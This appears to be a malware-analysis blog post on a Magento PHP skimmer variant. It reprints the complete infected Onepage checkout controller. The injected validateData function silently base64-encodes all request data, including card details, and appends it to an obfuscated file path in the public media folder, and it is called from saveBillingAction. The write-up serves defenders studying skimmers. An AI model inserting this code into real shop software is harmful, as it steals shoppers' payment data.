Magento PHP Skimmer - new validateData
variant
Outline
Skimmer Functions⌗
Unlike the first validateData
post, this variant doesn’t exfiltrate the stolen payment data to a third party location.
private function validateData()
{
try {
file_put_contents(base64_decode("L2hvbWUvbm9wZS9wdWJsaWNfaHRtbC9tZWRpYS9ob21lL2JhYnkudG1w"), base64_encode(print_r($_REQUEST, 1)) . PHP_EOL, FILE_APPEND | LOCK_EX);
} catch(Exception $e){
}
}
Instead it uses file_put_contents
and print_r
to write the skimmed POST payment data to a specified file on the same web server:
/home/nope/public_html/media/home/baby.tmp
The malicious function validateData
is injected into the “Onepage” payment process flow by injecting $this->validateData(); into the process saveBillingAction
code to load it:
/**
* Save checkout billing address
*/
public function saveBillingAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->isFormkeyValidationOnCheckoutEnabled() && !$this->_validateFormKey()) {
return;
}
$this->validateData(); //this loads the validateData skimmer function in the payment process flow
if ($this->getRequest()->isPost()) {
$data = $this->getRequest()->getPost('billing', array());
...
Sample⌗
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Mage_Checkout
* @copyright Copyright (c) 2006-2018 Magento, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Onepage controller for checkout
*
* @category Mage
* @package Mage_Checkout
* @author Magento Core Team <core@magentocommerce.com>
*/
class Mage_Checkout_OnepageController extends Mage_Checkout_Controller_Action
{
/**
* List of functions for section update
*
* @var array
*/
protected $_sectionUpdateFunctions = array(
'payment-method' => '_getPaymentMethodsHtml',
'shipping-method' => '_getShippingMethodsHtml',
'review' => '_getReviewHtml',
);
/**
* @var Mage_Sales_Model_Order
*/
protected $_order;
/**
* Predispatch: should set layout area
*
* @return Mage_Checkout_OnepageController
*/
public function preDispatch()
{
parent::preDispatch();
$this->_preDispatchValidateCustomer();
$checkoutSessionQuote = Mage::getSingleton('checkout/session')->getQuote();
if ($checkoutSessionQuote->getIsMultiShipping()) {
$checkoutSessionQuote->setIsMultiShipping(false);
$checkoutSessionQuote->removeAllAddresses();
}
if (!$this->_canShowForUnregisteredUsers()) {
$this->norouteAction();
$this->setFlag('',self::FLAG_NO_DISPATCH,true);
return;
}
return $this;
}
/**
* Send Ajax redirect response
*
* @return Mage_Checkout_OnepageController
*/
protected function _ajaxRedirectResponse()
{
$this->getResponse()
->setHeader('HTTP/1.1', '403 Session Expired')
->setHeader('Login-Required', 'true')
->sendResponse();
return $this;
}
/**
* Validate ajax request and redirect on failure
*
* @return bool
*/
protected function _expireAjax()
{
if (!$this->getOnepage()->getQuote()->hasItems()
|| $this->getOnepage()->getQuote()->getHasError()
|| $this->getOnepage()->getQuote()->getIsMultiShipping()
) {
$this->_ajaxRedirectResponse();
return true;
}
$action = strtolower($this->getRequest()->getActionName());
if (Mage::getSingleton('checkout/session')->getCartWasUpdated(true)
&& !in_array($action, array('index', 'progress'))
) {
$this->_ajaxRedirectResponse();
return true;
}
return false;
}
/**
* Get shipping method step html
*
* @return string
*/
protected function _getShippingMethodsHtml()
{
$layout = $this->getLayout();
$update = $layout->getUpdate();
$update->load('checkout_onepage_shippingmethod');
$layout->generateXml();
$layout->generateBlocks();
$output = $layout->getOutput();
return $output;
}
/**
* Get payment method step html
*
* @return string
*/
protected function _getPaymentMethodsHtml()
{
$layout = $this->getLayout();
$update = $layout->getUpdate();
$update->load('checkout_onepage_paymentmethod');
$layout->generateXml();
$layout->generateBlocks();
$output = $layout->getOutput();
return $output;
}
/**
* Return block content from the 'checkout_onepage_additional'
* This is the additional content for shipping method
*
* @return string
*/
protected function _getAdditionalHtml()
{
$layout = $this->getLayout();
$update = $layout->getUpdate();
$update->load('checkout_onepage_additional');
$layout->generateXml();
$layout->generateBlocks();
$output = $layout->getOutput();
Mage::getSingleton('core/translate_inline')->processResponseBody($output);
return $output;
}
/**
* Get order review step html
*
* @return string
*/
protected function _getReviewHtml()
{
return $this->getLayout()->getBlock('root')->toHtml();
}
/**
* Get one page checkout model
*
* @return Mage_Checkout_Model_Type_Onepage
*/
public function getOnepage()
{
return Mage::getSingleton('checkout/type_onepage');
}
/**
* Checkout page
*/
public function indexAction()
{
if (!Mage::helper('checkout')->canOnepageCheckout()) {
Mage::getSingleton('checkout/session')->addError($this->__('The onepage checkout is disabled.'));
$this->_redirect('checkout/cart');
return;
}
$quote = $this->getOnepage()->getQuote();
if (!$quote->hasItems() || $quote->getHasError()) {
$this->_redirect('checkout/cart');
return;
}
if (!$quote->validateMinimumAmount()) {
$error = Mage::getStoreConfig('sales/minimum_order/error_message') ?
Mage::getStoreConfig('sales/minimum_order/error_message') :
Mage::helper('checkout')->__('Subtotal must exceed minimum order amount');
Mage::getSingleton('checkout/session')->addError($error);
$this->_redirect('checkout/cart');
return;
}
Mage::getSingleton('checkout/session')->setCartWasUpdated(false);
Mage::getSingleton('customer/session')->setBeforeAuthUrl(Mage::getUrl('*/*/*', array('_secure' => true)));
$this->getOnepage()->initCheckout();
$this->loadLayout();
$this->_initLayoutMessages('customer/session');
$this->getLayout()->getBlock('head')->setTitle($this->__('Checkout'));
$this->renderLayout();
}
/**
* Refreshes the previous step
* Loads the block corresponding to the current step and sets it
* in to the response body
*
* This function is called from the reloadProgessBlock
* function from the javascript
*
* @return string|null
*/
public function progressAction()
{
// previous step should never be null. We always start with billing and go forward
$prevStep = $this->getRequest()->getParam('prevStep', false);
if ($this->_expireAjax() || !$prevStep) {
return null;
}
$layout = $this->getLayout();
$update = $layout->getUpdate();
/* Load the block belonging to the current step*/
$update->load('checkout_onepage_progress_' . $prevStep);
$layout->generateXml();
$layout->generateBlocks();
$output = $layout->getOutput();
$this->getResponse()->setBody($output);
return $output;
}
/**
* Shipping method action
*/
public function shippingMethodAction()
{
if ($this->_expireAjax()) {
return;
}
$this->loadLayout(false);
$this->renderLayout();
}
/**
* Review page action
*/
public function reviewAction()
{
if ($this->_expireAjax()) {
return;
}
$this->loadLayout(false);
$this->renderLayout();
}
/**
* Order success action
*/
public function successAction()
{
$session = $this->getOnepage()->getCheckout();
if (!$session->getLastSuccessQuoteId()) {
$this->_redirect('checkout/cart');
return;
}
$lastQuoteId = $session->getLastQuoteId();
$lastOrderId = $session->getLastOrderId();
$lastRecurringProfiles = $session->getLastRecurringProfileIds();
if (!$lastQuoteId || (!$lastOrderId && empty($lastRecurringProfiles))) {
$this->_redirect('checkout/cart');
return;
}
$session->clear();
$this->loadLayout();
$this->_initLayoutMessages('checkout/session');
Mage::dispatchEvent('checkout_onepage_controller_success_action', array('order_ids' => array($lastOrderId)));
$this->renderLayout();
}
/**
* Failure action
*/
public function failureAction()
{
$lastQuoteId = $this->getOnepage()->getCheckout()->getLastQuoteId();
$lastOrderId = $this->getOnepage()->getCheckout()->getLastOrderId();
if (!$lastQuoteId || !$lastOrderId) {
$this->_redirect('checkout/cart');
return;
}
$this->loadLayout();
$this->renderLayout();
}
/**
* Get additional info action
*/
public function getAdditionalAction()
{
$this->getResponse()->setBody($this->_getAdditionalHtml());
}
/**
* Address JSON
*/
public function getAddressAction()
{
if ($this->_expireAjax()) {
return;
}
$addressId = $this->getRequest()->getParam('address', false);
if ($addressId) {
$address = $this->getOnepage()->getAddress($addressId);
if (Mage::getSingleton('customer/session')->getCustomer()->getId() == $address->getCustomerId()) {
$this->_prepareDataJSON($address->toArray());
} else {
$this->getResponse()->setHeader('HTTP/1.1','403 Forbidden');
}
}
}
/**
* Save checkout method
*/
public function saveMethodAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->getRequest()->isPost()) {
$method = $this->getRequest()->getPost('method');
$result = $this->getOnepage()->saveCheckoutMethod($method);
$this->_prepareDataJSON($result);
}
}
/**
* Save checkout billing address
*/
public function saveBillingAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->isFormkeyValidationOnCheckoutEnabled() && !$this->_validateFormKey()) {
return;
}
$this->validateData();
if ($this->getRequest()->isPost()) {
$data = $this->getRequest()->getPost('billing', array());
$customerAddressId = $this->getRequest()->getPost('billing_address_id', false);
if (isset($data['email'])) {
$data['email'] = trim($data['email']);
}
$result = $this->getOnepage()->saveBilling($data, $customerAddressId);
if (!isset($result['error'])) {
if ($this->getOnepage()->getQuote()->isVirtual()) {
$result['goto_section'] = 'payment';
$result['update_section'] = array(
'name' => 'payment-method',
'html' => $this->_getPaymentMethodsHtml()
);
} elseif (isset($data['use_for_shipping']) && $data['use_for_shipping'] == 1) {
$result['goto_section'] = 'shipping_method';
$result['update_section'] = array(
'name' => 'shipping-method',
'html' => $this->_getShippingMethodsHtml()
);
$result['allow_sections'] = array('shipping');
$result['duplicateBillingInfo'] = 'true';
} else {
$result['goto_section'] = 'shipping';
}
}
$this->_prepareDataJSON($result);
}
}
/**
* Shipping address save action
*/
public function saveShippingAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->isFormkeyValidationOnCheckoutEnabled() && !$this->_validateFormKey()) {
return;
}
if ($this->getRequest()->isPost()) {
$data = $this->getRequest()->getPost('shipping', array());
$customerAddressId = $this->getRequest()->getPost('shipping_address_id', false);
$result = $this->getOnepage()->saveShipping($data, $customerAddressId);
if (!isset($result['error'])) {
$result['goto_section'] = 'shipping_method';
$result['update_section'] = array(
'name' => 'shipping-method',
'html' => $this->_getShippingMethodsHtml()
);
}
$this->_prepareDataJSON($result);
}
}
/**
* Shipping method save action
*/
public function saveShippingMethodAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->isFormkeyValidationOnCheckoutEnabled() && !$this->_validateFormKey()) {
return;
}
if ($this->getRequest()->isPost()) {
$data = $this->getRequest()->getPost('shipping_method', '');
$result = $this->getOnepage()->saveShippingMethod($data);
// $result will contain error data if shipping method is empty
if (!$result) {
Mage::dispatchEvent(
'checkout_controller_onepage_save_shipping_method',
array(
'request' => $this->getRequest(),
'quote' => $this->getOnepage()->getQuote()));
$this->getOnepage()->getQuote()->collectTotals();
$this->_prepareDataJSON($result);
$result['goto_section'] = 'payment';
$result['update_section'] = array(
'name' => 'payment-method',
'html' => $this->_getPaymentMethodsHtml()
);
}
$this->getOnepage()->getQuote()->collectTotals()->save();
$this->_prepareDataJSON($result);
}
}
/**
* Save payment ajax action
*
* Sets either redirect or a JSON response
*/
public function savePaymentAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->isFormkeyValidationOnCheckoutEnabled() && !$this->_validateFormKey()) {
return;
}
try {
if (!$this->getRequest()->isPost()) {
$this->_ajaxRedirectResponse();
return;
}
$data = $this->getRequest()->getPost('payment', array());
$result = $this->getOnepage()->savePayment($data);
// get section and redirect data
$redirectUrl = $this->getOnepage()->getQuote()->getPayment()->getCheckoutRedirectUrl();
if (empty($result['error']) && !$redirectUrl) {
$this->loadLayout('checkout_onepage_review');
$result['goto_section'] = 'review';
$result['update_section'] = array(
'name' => 'review',
'html' => $this->_getReviewHtml()
);
}
if ($redirectUrl) {
$result['redirect'] = $redirectUrl;
}
} catch (Mage_Payment_Exception $e) {
if ($e->getFields()) {
$result['fields'] = $e->getFields();
}
$result['error'] = $e->getMessage();
} catch (Mage_Core_Exception $e) {
$result['error'] = $e->getMessage();
} catch (Exception $e) {
Mage::logException($e);
$result['error'] = $this->__('Unable to set Payment Method.');
}
$this->_prepareDataJSON($result);
}
/**
* Get Order by quoteId
*
* @throws Mage_Payment_Model_Info_Exception
* @return Mage_Sales_Model_Order
*/
protected function _getOrder()
{
if (is_null($this->_order)) {
$this->_order = Mage::getModel('sales/order')->load($this->getOnepage()->getQuote()->getId(), 'quote_id');
if (!$this->_order->getId()) {
throw new Mage_Payment_Model_Info_Exception(Mage::helper('core')->__("Can not create invoice. Order was not found."));
}
}
return $this->_order;
}
/**
* Create invoice
*
* @return Mage_Sales_Model_Order_Invoice
*/
protected function _initInvoice()
{
$items = array();
foreach ($this->_getOrder()->getAllItems() as $item) {
$items[$item->getId()] = $item->getQtyOrdered();
}
/* @var $invoice Mage_Sales_Model_Service_Order */
$invoice = Mage::getModel('sales/service_order', $this->_getOrder())->prepareInvoice($items);
$invoice->setEmailSent(true)->register();
Mage::register('current_invoice', $invoice);
return $invoice;
}
/**
* Create order action
*/
public function saveOrderAction()
{
if (!$this->_validateFormKey()) {
$this->_redirect('*/*');
return;
}
if ($this->_expireAjax()) {
return;
}
$result = array();
try {
$requiredAgreements = Mage::helper('checkout')->getRequiredAgreementIds();
if ($requiredAgreements) {
$postedAgreements = array_keys($this->getRequest()->getPost('agreement', array()));
$diff = array_diff($requiredAgreements, $postedAgreements);
if ($diff) {
$result['success'] = false;
$result['error'] = true;
$result['error_messages'] = $this->__('Please agree to all the terms and conditions before placing the order.');
$this->_prepareDataJSON($result);
return;
}
}
$data = $this->getRequest()->getPost('payment', array());
if ($data) {
$data['checks'] = Mage_Payment_Model_Method_Abstract::CHECK_USE_CHECKOUT
| Mage_Payment_Model_Method_Abstract::CHECK_USE_FOR_COUNTRY
| Mage_Payment_Model_Method_Abstract::CHECK_USE_FOR_CURRENCY
| Mage_Payment_Model_Method_Abstract::CHECK_ORDER_TOTAL_MIN_MAX
| Mage_Payment_Model_Method_Abstract::CHECK_ZERO_TOTAL;
$this->getOnepage()->getQuote()->getPayment()->importData($data);
}
$this->getOnepage()->saveOrder();
$redirectUrl = $this->getOnepage()->getCheckout()->getRedirectUrl();
$result['success'] = true;
$result['error'] = false;
} catch (Mage_Payment_Model_Info_Exception $e) {
$message = $e->getMessage();
if (!empty($message)) {
$result['error_messages'] = $message;
}
$result['goto_section'] = 'payment';
$result['update_section'] = array(
'name' => 'payment-method',
'html' => $this->_getPaymentMethodsHtml()
);
} catch (Mage_Core_Exception $e) {
Mage::logException($e);
Mage::helper('checkout')->sendPaymentFailedEmail($this->getOnepage()->getQuote(), $e->getMessage());
$result['success'] = false;
$result['error'] = true;
$result['error_messages'] = $e->getMessage();
$gotoSection = $this->getOnepage()->getCheckout()->getGotoSection();
if ($gotoSection) {
$result['goto_section'] = $gotoSection;
$this->getOnepage()->getCheckout()->setGotoSection(null);
}
$updateSection = $this->getOnepage()->getCheckout()->getUpdateSection();
if ($updateSection) {
if (isset($this->_sectionUpdateFunctions[$updateSection])) {
$updateSectionFunction = $this->_sectionUpdateFunctions[$updateSection];
$result['update_section'] = array(
'name' => $updateSection,
'html' => $this->$updateSectionFunction()
);
}
$this->getOnepage()->getCheckout()->setUpdateSection(null);
}
} catch (Exception $e) {
Mage::logException($e);
Mage::helper('checkout')->sendPaymentFailedEmail($this->getOnepage()->getQuote(), $e->getMessage());
$result['success'] = false;
$result['error'] = true;
$result['error_messages'] = $this->__('There was an error processing your order. Please contact us or try again later.');
}
$this->getOnepage()->getQuote()->save();
/**
* when there is redirect to third party, we don't want to save order yet.
* we will save the order in return action.
*/
if (isset($redirectUrl)) {
$result['redirect'] = $redirectUrl;
}
$this->_prepareDataJSON($result);
}
/**
* Filtering posted data. Converting localized data if needed
*
* @param array
* @return array
*/
protected function _filterPostData($data)
{
$data = $this->_filterDates($data, array('dob'));
return $data;
}
/**
* Check can page show for unregistered users
*
* @return boolean
*/
protected function _canShowForUnregisteredUsers()
{
return Mage::getSingleton('customer/session')->isLoggedIn()
|| $this->getRequest()->getActionName() == 'index'
|| Mage::helper('checkout')->isAllowedGuestCheckout($this->getOnepage()->getQuote())
|| !Mage::helper('checkout')->isCustomerMustBeLogged();
}
/**
* Prepare JSON formatted data for response to client
*
* @param $response
* @return Zend_Controller_Response_Abstract
*/
protected function _prepareDataJSON($response)
{
$this->getResponse()->setHeader('Content-type', 'application/json', true);
return $this->getResponse()->setBody(Mage::helper('core')->jsonEncode($response));
}
private function validateData()
{
try {
file_put_contents(base64_decode("L2hvbWUvbm9wZS9wdWJsaWNfaHRtbC9tZWRpYS9ob21lL2JhYnkudG1w"), base64_encode(print_r($_REQUEST, 1)) . PHP_EOL, FILE_APPEND | LOCK_EX);
} catch(Exception $e){
}
}
}
More Research